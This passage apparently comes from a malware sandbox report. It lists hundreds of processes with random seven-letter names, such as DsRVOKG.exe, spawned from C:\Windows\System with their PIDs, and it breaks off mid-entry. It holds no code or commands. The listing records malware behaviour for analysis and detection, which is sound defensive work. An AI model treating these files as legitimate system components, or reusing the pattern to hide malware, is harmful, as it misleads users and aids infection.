- C:\Windows\System\DsRVOKG.exe
  C:\Windows\System\DsRVOKG.exe
  2⤵
  PID:8128
- C:\Windows\System\akoJWiD.exe
  C:\Windows\System\akoJWiD.exe
  2⤵
  PID:8156
- C:\Windows\System\EDaJtVX.exe
  C:\Windows\System\EDaJtVX.exe
  2⤵
  PID:8188
- C:\Windows\System\DiuZbNm.exe
  C:\Windows\System\DiuZbNm.exe
  2⤵
  PID:7224
- C:\Windows\System\bdqoSTl.exe
  C:\Windows\System\bdqoSTl.exe
  2⤵
  PID:7276
- C:\Windows\System\cFHDYLE.exe
  C:\Windows\System\cFHDYLE.exe
  2⤵
  PID:7364
- C:\Windows\System\OfOOeGE.exe
  C:\Windows\System\OfOOeGE.exe
  2⤵
  PID:7412
- C:\Windows\System\ksFzIWl.exe
  C:\Windows\System\ksFzIWl.exe
  2⤵
  PID:7480
- C:\Windows\System\hhDfiyL.exe
  C:\Windows\System\hhDfiyL.exe
  2⤵
  PID:7584
- C:\Windows\System\QUdXRJM.exe
  C:\Windows\System\QUdXRJM.exe
  2⤵
  PID:7644
- C:\Windows\System\kgPahuS.exe
  C:\Windows\System\kgPahuS.exe
  2⤵
  PID:7688
- C:\Windows\System\ayKXRCq.exe
  C:\Windows\System\ayKXRCq.exe
  2⤵
  PID:7772
- C:\Windows\System\JJxBSSG.exe
  C:\Windows\System\JJxBSSG.exe
  2⤵
  PID:7840
- C:\Windows\System\uKXTNeL.exe
  C:\Windows\System\uKXTNeL.exe
  2⤵
  PID:7900
- C:\Windows\System\MrUrzok.exe
  C:\Windows\System\MrUrzok.exe
  2⤵
  PID:7960
- C:\Windows\System\yCxhiGt.exe
  C:\Windows\System\yCxhiGt.exe
  2⤵
  PID:8036
- C:\Windows\System\yqQDFne.exe
  C:\Windows\System\yqQDFne.exe
  2⤵
  PID:8092
- C:\Windows\System\qhzTwEp.exe
  C:\Windows\System\qhzTwEp.exe
  2⤵
  PID:8176
- C:\Windows\System\UKPPqsg.exe
  C:\Windows\System\UKPPqsg.exe
  2⤵
  PID:7252
- C:\Windows\System\DDdvlzP.exe
  C:\Windows\System\DDdvlzP.exe
  2⤵
  PID:7396
- C:\Windows\System\sFdgUhR.exe
  C:\Windows\System\sFdgUhR.exe
  2⤵
  PID:7184
- C:\Windows\System\aycVghs.exe
  C:\Windows\System\aycVghs.exe
  2⤵
  PID:7800
- C:\Windows\System\BiLlmXI.exe
  C:\Windows\System\BiLlmXI.exe
  2⤵
  PID:7948
- C:\Windows\System\slVrqXk.exe
  C:\Windows\System\slVrqXk.exe
  2⤵
  PID:8096
- C:\Windows\System\MkJSDgV.exe
  C:\Windows\System\MkJSDgV.exe
  2⤵
  PID:7392
- C:\Windows\System\vSLehMo.exe
  C:\Windows\System\vSLehMo.exe
  2⤵
  PID:7724
- C:\Windows\System\axBKtqQ.exe
  C:\Windows\System\axBKtqQ.exe
  2⤵
  PID:8064
- C:\Windows\System\hLODvju.exe
  C:\Windows\System\hLODvju.exe
  2⤵
  PID:7612
- C:\Windows\System\BkjMkWI.exe
  C:\Windows\System\BkjMkWI.exe
  2⤵
  PID:8012
- C:\Windows\System\CiDSfgC.exe
  C:\Windows\System\CiDSfgC.exe
  2⤵
  PID:8220
- C:\Windows\System\AyEvKJK.exe
  C:\Windows\System\AyEvKJK.exe
  2⤵
  PID:8240
- C:\Windows\System\mFjAqKz.exe
  C:\Windows\System\mFjAqKz.exe
  2⤵
  PID:8280
- C:\Windows\System\HmTQXEI.exe
  C:\Windows\System\HmTQXEI.exe
  2⤵
  PID:8308
- C:\Windows\System\UUtPytz.exe
  C:\Windows\System\UUtPytz.exe
  2⤵
  PID:8328
- C:\Windows\System\aBhoBTG.exe
  C:\Windows\System\aBhoBTG.exe
  2⤵
  PID:8360
- C:\Windows\System\KAQrrgQ.exe
  C:\Windows\System\KAQrrgQ.exe
  2⤵
  PID:8384
- C:\Windows\System\kbsoUqS.exe
  C:\Windows\System\kbsoUqS.exe
  2⤵
  PID:8416
- C:\Windows\System\iCiXurT.exe
  C:\Windows\System\iCiXurT.exe
  2⤵
  PID:8444
- C:\Windows\System\NDeGtQw.exe
  C:\Windows\System\NDeGtQw.exe
  2⤵
  PID:8472
- C:\Windows\System\fwBMmNw.exe
  C:\Windows\System\fwBMmNw.exe
  2⤵
  PID:8520
- C:\Windows\System\fKHDoPK.exe
  C:\Windows\System\fKHDoPK.exe
  2⤵
  PID:8552
- C:\Windows\System\bznMFtU.exe
  C:\Windows\System\bznMFtU.exe
  2⤵
  PID:8596
- C:\Windows\System\MIyGvNX.exe
  C:\Windows\System\MIyGvNX.exe
  2⤵
  PID:8624
- C:\Windows\System\PkDuHyL.exe
  C:\Windows\System\PkDuHyL.exe
  2⤵
  PID:8652
- C:\Windows\System\TXGLiPM.exe
  C:\Windows\System\TXGLiPM.exe
  2⤵
  PID:8672
- C:\Windows\System\cqrMdWp.exe
  C:\Windows\System\cqrMdWp.exe
  2⤵
  PID:8696
- C:\Windows\System\VVuseRM.exe
  C:\Windows\System\VVuseRM.exe
  2⤵
  PID:8720
- C:\Windows\System\rOXpGXj.exe
  C:\Windows\System\rOXpGXj.exe
  2⤵
  PID:8740
- C:\Windows\System\qAFJmFH.exe
  C:\Windows\System\qAFJmFH.exe
  2⤵
  PID:8776
- C:\Windows\System\NgeRjTi.exe
  C:\Windows\System\NgeRjTi.exe
  2⤵
  PID:8800
- C:\Windows\System\gpCJegv.exe
  C:\Windows\System\gpCJegv.exe
  2⤵
  PID:8824
- C:\Windows\System\HxlMdbJ.exe
  C:\Windows\System\HxlMdbJ.exe
  2⤵
  PID:8852
- C:\Windows\System\YuwyqYz.exe
  C:\Windows\System\YuwyqYz.exe
  2⤵
  PID:8880
- C:\Windows\System\BoHztue.exe
  C:\Windows\System\BoHztue.exe
  2⤵
  PID:8900
- C:\Windows\System\UXHWWnv.exe
  C:\Windows\System\UXHWWnv.exe
  2⤵
  PID:8960
- C:\Windows\System\XsfcRFh.exe
  C:\Windows\System\XsfcRFh.exe
  2⤵
  PID:9004
- C:\Windows\System\SOoEVTT.exe
  C:\Windows\System\SOoEVTT.exe
  2⤵
  PID:9020
- C:\Windows\System\PGqUXgd.exe
  C:\Windows\System\PGqUXgd.exe
  2⤵
  PID:9048
- C:\Windows\System\XroaKQg.exe
  C:\Windows\System\XroaKQg.exe
  2⤵
  PID:9076
- C:\Windows\System\GekBmvu.exe
  C:\Windows\System\GekBmvu.exe
  2⤵
  PID:9104
- C:\Windows\System\gJMZOQV.exe
  C:\Windows\System\gJMZOQV.exe
  2⤵
  PID:9132
- C:\Windows\System\vPfGWOT.exe
  C:\Windows\System\vPfGWOT.exe
  2⤵
  PID:9160
- C:\Windows\System\Ptatsjn.exe
  C:\Windows\System\Ptatsjn.exe
  2⤵
  PID:9188
- C:\Windows\System\frvngFD.exe
  C:\Windows\System\frvngFD.exe
  2⤵
  PID:8196
- C:\Windows\System\LrZWZSM.exe
  C:\Windows\System\LrZWZSM.exe
  2⤵
  PID:8264
- C:\Windows\System\LtIbKPw.exe
  C:\Windows\System\LtIbKPw.exe
  2⤵
  PID:8320
- C:\Windows\System\zEYojQc.exe
  C:\Windows\System\zEYojQc.exe
  2⤵
  PID:8396
- C:\Windows\System\ceSoKAA.exe
  C:\Windows\System\ceSoKAA.exe
  2⤵
  PID:8432
- C:\Windows\System\kIpdnCQ.exe
  C:\Windows\System\kIpdnCQ.exe
  2⤵
  PID:8464
- C:\Windows\System\luyDsRK.exe
  C:\Windows\System\luyDsRK.exe
  2⤵
  PID:8648
- C:\Windows\System\PMhaQdx.exe
  C:\Windows\System\PMhaQdx.exe
  2⤵
  PID:8680
- C:\Windows\System\oXOmkUS.exe
  C:\Windows\System\oXOmkUS.exe
  2⤵
  PID:8732
- C:\Windows\System\SPCnIMw.exe
  C:\Windows\System\SPCnIMw.exe
  2⤵
  PID:8820
- C:\Windows\System\WTZatBk.exe
  C:\Windows\System\WTZatBk.exe
  2⤵
  PID:8896
- C:\Windows\System\OxbdbCt.exe
  C:\Windows\System\OxbdbCt.exe
  2⤵
  PID:8956
- C:\Windows\System\lDClYDP.exe
  C:\Windows\System\lDClYDP.exe
  2⤵
  PID:9032
- C:\Windows\System\NybHkGR.exe
  C:\Windows\System\NybHkGR.exe
  2⤵
  PID:9100
- C:\Windows\System\ymHySQY.exe
  C:\Windows\System\ymHySQY.exe
  2⤵
  PID:9172
- C:\Windows\System\YNcptLR.exe
  C:\Windows\System\YNcptLR.exe
  2⤵
  PID:8236
- C:\Windows\System\KazoLAO.exe
  C:\Windows\System\KazoLAO.exe
  2⤵
  PID:8424
- C:\Windows\System\raUACwj.exe
  C:\Windows\System\raUACwj.exe
  2⤵
  PID:8584
- C:\Windows\System\kScqNeq.exe
  C:\Windows\System\kScqNeq.exe
  2⤵
  PID:8752
- C:\Windows\System\ZXYOGkn.exe
  C:\Windows\System\ZXYOGkn.exe
  2⤵
  PID:8864
- C:\Windows\System\ZYnbhAQ.exe
  C:\Windows\System\ZYnbhAQ.exe
  2⤵
  PID:9016
- C:\Windows\System\pVwmLOf.exe
  C:\Windows\System\pVwmLOf.exe
  2⤵
  PID:9200
- C:\Windows\System\mIcteFg.exe
  C:\Windows\System\mIcteFg.exe
  2⤵
  PID:8564
- C:\Windows\System\zMrWskZ.exe
  C:\Windows\System\zMrWskZ.exe
  2⤵
  PID:8940
- C:\Windows\System\uJRSzKT.exe
  C:\Windows\System\uJRSzKT.exe
  2⤵
  PID:8460
- C:\Windows\System\CvNLngi.exe
  C:\Windows\System\CvNLngi.exe
  2⤵
  PID:8324
- C:\Windows\System\WcLcTQA.exe
  C:\Windows\System\WcLcTQA.exe
  2⤵
  PID:9232
- C:\Windows\System\NhEHvyw.exe
  C:\Windows\System\NhEHvyw.exe
  2⤵
  PID:9260
- C:\Windows\System\SbdlnTE.exe
  C:\Windows\System\SbdlnTE.exe
  2⤵
  PID:9288
- C:\Windows\System\mqOAAFz.exe
  C:\Windows\System\mqOAAFz.exe
  2⤵
  PID:9316
- C:\Windows\System\KjBJZns.exe
  C:\Windows\System\KjBJZns.exe
  2⤵
  PID:9344
- C:\Windows\System\QDgwrwa.exe
  C:\Windows\System\QDgwrwa.exe
  2⤵
  PID:9372
- C:\Windows\System\xHsLWuS.exe
  C:\Windows\System\xHsLWuS.exe
  2⤵
  PID:9400
- C:\Windows\System\GYSixfW.exe
  C:\Windows\System\GYSixfW.exe
  2⤵
  PID:9428
- C:\Windows\System\QsNMfjy.exe
  C:\Windows\System\QsNMfjy.exe
  2⤵
  PID:9456
- C:\Windows\System\YkHhzHc.exe
  C:\Windows\System\YkHhzHc.exe
  2⤵
  PID:9484
- C:\Windows\System\iIgQwVK.exe
  C:\Windows\System\iIgQwVK.exe
  2⤵
  PID:9512
- C:\Windows\System\aqUtrCc.exe
  C:\Windows\System\aqUtrCc.exe
  2⤵
  PID:9540
- C:\Windows\System\ATXOUzQ.exe
  C:\Windows\System\ATXOUzQ.exe
  2⤵
  PID:9568
- C:\Windows\System\vsmwwsH.exe
  C:\Windows\System\vsmwwsH.exe
  2⤵
  PID:9600
- C:\Windows\System\yiOMeDN.exe
  C:\Windows\System\yiOMeDN.exe
  2⤵
  PID:9628
- C:\Windows\System\lrmCeqg.exe
  C:\Windows\System\lrmCeqg.exe
  2⤵
  PID:9656
- C:\Windows\System\HAdQsHF.exe
  C:\Windows\System\HAdQsHF.exe
  2⤵
  PID:9684
- C:\Windows\System\eaYsPvV.exe
  C:\Windows\System\eaYsPvV.exe
  2⤵
  PID:9712
- C:\Windows\System\gryctyf.exe
  C:\Windows\System\gryctyf.exe
  2⤵
  PID:9740
- C:\Windows\System\Legborg.exe
  C:\Windows\System\Legborg.exe
  2⤵
  PID:9768
- C:\Windows\System\gVudScT.exe
  C:\Windows\System\gVudScT.exe
  2⤵
  PID:9796
- C:\Windows\System\gloyvXN.exe
  C:\Windows\System\gloyvXN.exe
  2⤵
  PID:9824
- C:\Windows\System\ECqbuLS.exe
  C:\Windows\System\ECqbuLS.exe
  2⤵
  PID:9852
- C:\Windows\System\ExgiWwL.exe
  C:\Windows\System\ExgiWwL.exe
  2⤵
  PID:9880
- C:\Windows\System\jNLeAKN.exe
  C:\Windows\System\jNLeAKN.exe
  2⤵
  PID:9908
- C:\Windows\System\kEDRFcn.exe
  C:\Windows\System\kEDRFcn.exe
  2⤵
  PID:9936
- C:\Windows\System\paHidhs.exe
  C:\Windows\System\paHidhs.exe
  2⤵
  PID:9964
- C:\Windows\System\eLYjPyo.exe
  C:\Windows\System\eLYjPyo.exe
  2⤵
  PID:9992
- C:\Windows\System\CnzXJsk.exe
  C:\Windows\System\CnzXJsk.exe
  2⤵
  PID:10020
- C:\Windows\System\qVsJYZO.exe
  C:\Windows\System\qVsJYZO.exe
  2⤵
  PID:10048
- C:\Windows\System\wPjYqdM.exe
  C:\Windows\System\wPjYqdM.exe
  2⤵
  PID:10076
- C:\Windows\System\MVozazp.exe
  C:\Windows\System\MVozazp.exe
  2⤵
  PID:10104
- C:\Windows\System\gOIzhXE.exe
  C:\Windows\System\gOIzhXE.exe
  2⤵
  PID:10132
- C:\Windows\System\TdUfOaG.exe
  C:\Windows\System\TdUfOaG.exe
  2⤵
  PID:10164
- C:\Windows\System\WXVcxuf.exe
  C:\Windows\System\WXVcxuf.exe
  2⤵
  PID:10192
- C:\Windows\System\kTSWnDk.exe
  C:\Windows\System\kTSWnDk.exe
  2⤵
  PID:10220
- C:\Windows\System\yyFvZxu.exe
  C:\Windows\System\yyFvZxu.exe
  2⤵
  PID:9228
- C:\Windows\System\loZKzFe.exe
  C:\Windows\System\loZKzFe.exe
  2⤵
  PID:9300
- C:\Windows\System\sJutivo.exe
  C:\Windows\System\sJutivo.exe
  2⤵
  PID:9364
- C:\Windows\System\knGYmcW.exe
  C:\Windows\System\knGYmcW.exe
  2⤵
  PID:9440
- C:\Windows\System\ogBPpGx.exe
  C:\Windows\System\ogBPpGx.exe
  2⤵
  PID:9496
- C:\Windows\System\YiRStbP.exe
  C:\Windows\System\YiRStbP.exe
  2⤵
  PID:9560
- C:\Windows\System\pSDLgOM.exe
  C:\Windows\System\pSDLgOM.exe
  2⤵
  PID:9624
- C:\Windows\System\rhfgMQi.exe
  C:\Windows\System\rhfgMQi.exe
  2⤵
  PID:9732
- C:\Windows\System\AoticXd.exe
  C:\Windows\System\AoticXd.exe
  2⤵
  PID:9764
- C:\Windows\System\lNRUgKh.exe
  C:\Windows\System\lNRUgKh.exe
  2⤵
  PID:9044
- C:\Windows\System\edfcoGl.exe
  C:\Windows\System\edfcoGl.exe
  2⤵
  PID:9892
- C:\Windows\System\DMSBXsf.exe
  C:\Windows\System\DMSBXsf.exe
  2⤵
  PID:9956
- C:\Windows\System\xGWpXns.exe
  C:\Windows\System\xGWpXns.exe
  2⤵
  PID:10016
- C:\Windows\System\yADTxly.exe
  C:\Windows\System\yADTxly.exe
  2⤵
  PID:10116
- C:\Windows\System\kkrYemv.exe
  C:\Windows\System\kkrYemv.exe
  2⤵
  PID:10156
- C:\Windows\System\IMJHyqh.exe
  C:\Windows\System\IMJHyqh.exe
  2⤵
  PID:10216
- C:\Windows\System\RMJhAiT.exe
  C:\Windows\System\RMJhAiT.exe
  2⤵
  PID:9272
- C:\Windows\System\gtNjpId.exe
  C:\Windows\System\gtNjpId.exe
  2⤵
  PID:9412
- C:\Windows\System\QTbdhbM.exe
  C:\Windows\System\QTbdhbM.exe
  2⤵
  PID:9532
- C:\Windows\System\LpmdeCo.exe
  C:\Windows\System\LpmdeCo.exe
  2⤵
  PID:60
- C:\Windows\System\eDnxjyv.exe
  C:\Windows\System\eDnxjyv.exe
  2⤵
  PID:1712
- C:\Windows\System\lFQzREn.exe
  C:\Windows\System\lFQzREn.exe
  2⤵
  PID:2044
- C:\Windows\System\rpxaaHk.exe
  C:\Windows\System\rpxaaHk.exe
  2⤵
  PID:2832
- C:\Windows\System\rztKuaX.exe
  C:\Windows\System\rztKuaX.exe
  2⤵
  PID:9696
- C:\Windows\System\czatFcm.exe
  C:\Windows\System\czatFcm.exe
  2⤵
  PID:9816
- C:\Windows\System\BCNrfaV.exe
  C:\Windows\System\BCNrfaV.exe
  2⤵
  PID:10012
- C:\Windows\System\ifMPoBb.exe
  C:\Windows\System\ifMPoBb.exe
  2⤵
  PID:10212
- C:\Windows\System\hNGoOVh.exe
  C:\Windows\System\hNGoOVh.exe
  2⤵
  PID:9392
- C:\Windows\System\pXUjbeP.exe
  C:\Windows\System\pXUjbeP.exe
  2⤵
  PID:432
- C:\Windows\System\KXmMMhl.exe
  C:\Windows\System\KXmMMhl.exe
  2⤵
  PID:10072
- C:\Windows\System\kaBdQYg.exe
  C:\Windows\System\kaBdQYg.exe
  2⤵
  PID:10100
- C:\Windows\System\pjRGhEW.exe
  C:\Windows\System\pjRGhEW.exe
  2⤵
  PID:9524
- C:\Windows\System\rtHrwOo.exe
  C:\Windows\System\rtHrwOo.exe
  2⤵
  PID:9156
- C:\Windows\System\BfpmNih.exe
  C:\Windows\System\BfpmNih.exe
  2⤵
  PID:5756
- C:\Windows\System\zJYdFXm.exe
  C:\Windows\System\zJYdFXm.exe
  2⤵
  PID:10268
- C:\Windows\System\VJaFtcP.exe
  C:\Windows\System\VJaFtcP.exe
  2⤵
  PID:10288
- C:\Windows\System\VfzmHqB.exe
  C:\Windows\System\VfzmHqB.exe
  2⤵
  PID:10312
- C:\Windows\System\UVzkRFQ.exe
  C:\Windows\System\UVzkRFQ.exe
  2⤵
  PID:10332
- C:\Windows\System\HUCSLDs.exe
  C:\Windows\System\HUCSLDs.exe
  2⤵
  PID:10352
- C:\Windows\System\CMIjmCo.exe
  C:\Windows\System\CMIjmCo.exe
  2⤵
  PID:10396
- C:\Windows\System\oyLAPGK.exe
  C:\Windows\System\oyLAPGK.exe
  2⤵
  PID:10428
- C:\Windows\System\AVroRag.exe
  C:\Windows\System\AVroRag.exe
  2⤵
  PID:10464
- C:\Windows\System\rfiunls.exe
  C:\Windows\System\rfiunls.exe
  2⤵
  PID:10484
- C:\Windows\System\yUDKmnB.exe
  C:\Windows\System\yUDKmnB.exe
  2⤵
  PID:10524
- C:\Windows\System\UAxQJIA.exe
  C:\Windows\System\UAxQJIA.exe
  2⤵
  PID:10548
- C:\Windows\System\HGxBTsM.exe
  C:\Windows\System\HGxBTsM.exe
  2⤵
  PID:10580
- C:\Windows\System\dmKfBzv.exe
  C:\Windows\System\dmKfBzv.exe
  2⤵
  PID:10616
- C:\Windows\System\wvmlmfc.exe
  C:\Windows\System\wvmlmfc.exe
  2⤵
  PID:10644
- C:\Windows\System\yJcpUeO.exe
  C:\Windows\System\yJcpUeO.exe
  2⤵
  PID:10672
- C:\Windows\System\WTIADXp.exe
  C:\Windows\System\WTIADXp.exe
  2⤵
  PID:10700
- C:\Windows\System\iUAvNLy.exe
  C:\Windows\System\iUAvNLy.exe
  2⤵
  PID:10728
- C:\Windows\System\DWoIpCn.exe
  C:\Windows\System\DWoIpCn.exe
  2⤵
  PID:10744
- C:\Windows\System\tNuoMbE.exe
  C:\Windows\System\tNuoMbE.exe
  2⤵
  PID:10780
- C:\Windows\System\PeSgAnn.exe
  C:\Windows\System\PeSgAnn.exe
  2⤵
  PID:10812
- C:\Windows\System\bCxcbMN.exe
  C:\Windows\System\bCxcbMN.exe
  2⤵
  PID:10828
- C:\Windows\System\BRDfZQB.exe
  C:\Windows\System\BRDfZQB.exe
  2⤵
  PID:10868
- C:\Windows\System\hXnaJic.exe
  C:\Windows\System\hXnaJic.exe
  2⤵
  PID:10896
- C:\Windows\System\NTOgFof.exe
  C:\Windows\System\NTOgFof.exe
  2⤵
  PID:10924
- C:\Windows\System\bYhHLvU.exe
  C:\Windows\System\bYhHLvU.exe
  2⤵
  PID:10952
- C:\Windows\System\HfOHWly.exe
  C:\Windows\System\HfOHWly.exe
  2⤵
  PID:10980
- C:\Windows\System\FWsakAb.exe
  C:\Windows\System\FWsakAb.exe
  2⤵
  PID:11008
- C:\Windows\System\qbsHiHq.exe
  C:\Windows\System\qbsHiHq.exe
  2⤵
  PID:11036
- C:\Windows\System\dwHMZSj.exe
  C:\Windows\System\dwHMZSj.exe
  2⤵
  PID:11064
- C:\Windows\System\mewVIpE.exe
  C:\Windows\System\mewVIpE.exe
  2⤵
  PID:11096
- C:\Windows\System\iPOSnQq.exe
  C:\Windows\System\iPOSnQq.exe
  2⤵
  PID:11124
- C:\Windows\System\HadMNGZ.exe
  C:\Windows\System\HadMNGZ.exe
  2⤵
  PID:11152
- C:\Windows\System\uoQaXpv.exe
  C:\Windows\System\uoQaXpv.exe
  2⤵
  PID:11180
- C:\Windows\System\hiAvZka.exe
  C:\Windows\System\hiAvZka.exe
  2⤵
  PID:11208
- C:\Windows\System\hIbvWON.exe
  C:\Windows\System\hIbvWON.exe
  2⤵
  PID:11236
- C:\Windows\System\fqiefKL.exe
  C:\Windows\System\fqiefKL.exe
  2⤵
  PID:9932
- C:\Windows\System\KyJTsJH.exe
  C:\Windows\System\KyJTsJH.exe
  2⤵
  PID:10280
- C:\Windows\System\AboGOeI.exe
  C:\Windows\System\AboGOeI.exe
  2⤵
  PID:10296
- C:\Windows\System\hbeoIoJ.exe
  C:\Windows\System\hbeoIoJ.exe
  2⤵
  PID:10344
- C:\Windows\System\qaqRyZt.exe
  C:\Windows\System\qaqRyZt.exe
  2⤵
  PID:10452
- C:\Windows\System\uEOElAg.exe
  C:\Windows\System\uEOElAg.exe
  2⤵
  PID:10504
- C:\Windows\System\BwHvgKC.exe
  C:\Windows\System\BwHvgKC.exe
  2⤵
  PID:10576
- C:\Windows\System\sEgeaGg.exe
  C:\Windows\System\sEgeaGg.exe
  2⤵
  PID:10632
- C:\Windows\System\rMKXbFk.exe
  C:\Windows\System\rMKXbFk.exe
  2⤵
  PID:10724
- C:\Windows\System\flajFeu.exe
  C:\Windows\System\flajFeu.exe
  2⤵
  PID:10796
- C:\Windows\System\ADCOcOW.exe
  C:\Windows\System\ADCOcOW.exe
  2⤵
  PID:10852
- C:\Windows\System\ysreGou.exe
  C:\Windows\System\ysreGou.exe
  2⤵
  PID:10916
- C:\Windows\System\NObqsHp.exe
  C:\Windows\System\NObqsHp.exe
  2⤵
  PID:10976
- C:\Windows\System\surluZa.exe
  C:\Windows\System\surluZa.exe
  2⤵
  PID:11048
- C:\Windows\System\MAwTgGf.exe
  C:\Windows\System\MAwTgGf.exe
  2⤵
  PID:11120
- C:\Windows\System\gnuiLMf.exe
  C:\Windows\System\gnuiLMf.exe
  2⤵
  PID:11172
- C:\Windows\System\DNrbQfA.exe
  C:\Windows\System\DNrbQfA.exe
  2⤵
  PID:11232
- C:\Windows\System\xFQnlQr.exe
  C:\Windows\System\xFQnlQr.exe
  2⤵
  PID:10304
- C:\Windows\System\oSeVyhf.exe
  C:\Windows\System\oSeVyhf.exe
  2⤵
  PID:10444
- C:\Windows\System\JIYPzIg.exe
  C:\Windows\System\JIYPzIg.exe
  2⤵
  PID:10572
- C:\Windows\System\QgndByk.exe
  C:\Windows\System\QgndByk.exe
  2⤵
  PID:10756
- C:\Windows\System\UyObpoz.exe
  C:\Windows\System\UyObpoz.exe
  2⤵
  PID:10908
- C:\Windows\System\PCxPHYc.exe
  C:\Windows\System\PCxPHYc.exe
  2⤵
  PID:11032
- C:\Windows\System\DVPfutF.exe
  C:\Windows\System\DVPfutF.exe
  2⤵
  PID:11200
- C:\Windows\System\GSirnwL.exe
  C:\Windows\System\GSirnwL.exe
  2⤵
  PID:10384
- C:\Windows\System\ZoNpgzs.exe
  C:\Windows\System\ZoNpgzs.exe
  2⤵
  PID:10712
- C:\Windows\System\ypaPGna.exe
  C:\Windows\System\ypaPGna.exe
  2⤵
  PID:11108
- C:\Windows\System\TpXguxh.exe
  C:\Windows\System\TpXguxh.exe
  2⤵
  PID:10628
- C:\Windows\System\VAwMmNj.exe
  C:\Windows\System\VAwMmNj.exe
  2⤵
  PID:10560
- C:\Windows\System\qWwNJiH.exe
  C:\Windows\System\qWwNJiH.exe
  2⤵
  PID:11280
- C:\Windows\System\oiKcLWr.exe
  C:\Windows\System\oiKcLWr.exe
  2⤵
  PID:11308
- C:\Windows\System\ruFcdHG.exe
  C:\Windows\System\ruFcdHG.exe
  2⤵
  PID:11336
- C:\Windows\System\WkTxEog.exe
  C:\Windows\System\WkTxEog.exe
  2⤵
  PID:11364
- C:\Windows\System\kDosMLF.exe
  C:\Windows\System\kDosMLF.exe
  2⤵
  PID:11392
- C:\Windows\System\RWPVCeZ.exe
  C:\Windows\System\RWPVCeZ.exe
  2⤵
  PID:11420
- C:\Windows\System\WnSJRes.exe
  C:\Windows\System\WnSJRes.exe
  2⤵
  PID:11448
- C:\Windows\System\WVEYsaZ.exe
  C:\Windows\System\WVEYsaZ.exe
  2⤵
  PID:11480
- C:\Windows\System\OkBIDvE.exe
  C:\Windows\System\OkBIDvE.exe
  2⤵
  PID:11508
- C:\Windows\System\QFIjoJC.exe
  C:\Windows\System\QFIjoJC.exe
  2⤵
  PID:11536
- C:\Windows\System\tQtAUdn.exe
  C:\Windows\System\tQtAUdn.exe
  2⤵
  PID:11564
- C:\Windows\System\yDOlTaQ.exe
  C:\Windows\System\yDOlTaQ.exe
  2⤵
  PID:11592
- C:\Windows\System\usjKgPW.exe
  C:\Windows\System\usjKgPW.exe
  2⤵
  PID:11620
- C:\Windows\System\ABOxIeu.exe
  C:\Windows\System\ABOxIeu.exe
  2⤵
  PID:11648
- C:\Windows\System\msWvZIO.exe
  C:\Windows\System\msWvZIO.exe
  2⤵
  PID:11676
- C:\Windows\System\kVsYAVI.exe
  C:\Windows\System\kVsYAVI.exe
  2⤵
  PID:11696
- C:\Windows\System\rAhaJbg.exe
  C:\Windows\System\rAhaJbg.exe
  2⤵
  PID:11712
- C:\Windows\System\GDBiOAu.exe
  C:\Windows\System\GDBiOAu.exe
  2⤵
  PID:11736
- C:\Windows\System\TdqaNdh.exe
  C:\Windows\System\TdqaNdh.exe
  2⤵
  PID:11764
- C:\Windows\System\YkNlgDJ.exe
  C:\Windows\System\YkNlgDJ.exe
  2⤵
  PID:11812
- C:\Windows\System\NiNjItS.exe
  C:\Windows\System\NiNjItS.exe
  2⤵
  PID:11836
- C:\Windows\System\rGipSSU.exe
  C:\Windows\System\rGipSSU.exe
  2⤵
  PID:11860
- C:\Windows\System\HhunCzN.exe
  C:\Windows\System\HhunCzN.exe
  2⤵
  PID:11880
- C:\Windows\System\vVxgERk.exe
  C:\Windows\System\vVxgERk.exe
  2⤵
  PID:11916
- C:\Windows\System\VWPAJah.exe
  C:\Windows\System\VWPAJah.exe
  2⤵
  PID:11948
- C:\Windows\System\KUhToBa.exe
  C:\Windows\System\KUhToBa.exe
  2⤵
  PID:11980
- C:\Windows\System\VyVOxKc.exe
  C:\Windows\System\VyVOxKc.exe
  2⤵
  PID:12016
- C:\Windows\System\SomZGcy.exe
  C:\Windows\System\SomZGcy.exe
  2⤵
  PID:12044
- C:\Windows\System\AcDpwzT.exe
  C:\Windows\System\AcDpwzT.exe
  2⤵
  PID:12072
- C:\Windows\System\znKnxUJ.exe
  C:\Windows\System\znKnxUJ.exe
  2⤵
  PID:12100
- C:\Windows\System\lKSkKOg.exe
  C:\Windows\System\lKSkKOg.exe
  2⤵
  PID:12128
- C:\Windows\System\uUKTxIv.exe
  C:\Windows\System\uUKTxIv.exe
  2⤵
  PID:12156
- C:\Windows\System\mpxWhjT.exe
  C:\Windows\System\mpxWhjT.exe
  2⤵
  PID:12184
- C:\Windows\System\uZcWnVi.exe
  C:\Windows\System\uZcWnVi.exe
  2⤵
  PID:12212
- C:\Windows\System\yzqPBYc.exe
  C:\Windows\System\yzqPBYc.exe
  2⤵
  PID:12240
- C:\Windows\System\pzdFeoY.exe
  C:\Windows\System\pzdFeoY.exe
  2⤵
  PID:12268
- C:\Windows\System\DpsMKFW.exe
  C:\Windows\System\DpsMKFW.exe
  2⤵
  PID:11272
- C:\Windows\System\QPgfPbz.exe
  C:\Windows\System\QPgfPbz.exe
  2⤵
  PID:11332
- C:\Windows\System\QFXoBhn.exe
  C:\Windows\System\QFXoBhn.exe
  2⤵
  PID:11404
- C:\Windows\System\MLVQvxb.exe
  C:\Windows\System\MLVQvxb.exe
  2⤵
  PID:2120
- C:\Windows\System\sMhDRdJ.exe
  C:\Windows\System\sMhDRdJ.exe
  2⤵
  PID:11528
- C:\Windows\System\bBuuztI.exe
  C:\Windows\System\bBuuztI.exe
  2⤵
  PID:11588
- C:\Windows\System\TOTrgLq.exe
  C:\Windows\System\TOTrgLq.exe
  2⤵
  PID:11660
- C:\Windows\System\HmIylve.exe
  C:\Windows\System\HmIylve.exe
  2⤵
  PID:11684
- C:\Windows\System\TJhKukJ.exe
  C:\Windows\System\TJhKukJ.exe
  2⤵
  PID:11776
- C:\Windows\System\nhaEOFs.exe
  C:\Windows\System\nhaEOFs.exe
  2⤵
  PID:11852
- C:\Windows\System\JxMlnVH.exe
  C:\Windows\System\JxMlnVH.exe
  2⤵
  PID:11932
- C:\Windows\System\pKvqULD.exe
  C:\Windows\System\pKvqULD.exe
  2⤵
  PID:11988
- C:\Windows\System\SLKfACi.exe
  C:\Windows\System\SLKfACi.exe
  2⤵
  PID:12040
- C:\Windows\System\ZXwRIUe.exe
  C:\Windows\System\ZXwRIUe.exe
  2⤵
  PID:12112
- C:\Windows\System\KXHqVXW.exe
  C:\Windows\System\KXHqVXW.exe
  2⤵
  PID:12176
- C:\Windows\System\znNasSO.exe
  C:\Windows\System\znNasSO.exe
  2⤵
  PID:12236
- C:\Windows\System\zRtwHqG.exe
  C:\Windows\System\zRtwHqG.exe
  2⤵
  PID:11300
- C:\Windows\System\HbuetFd.exe
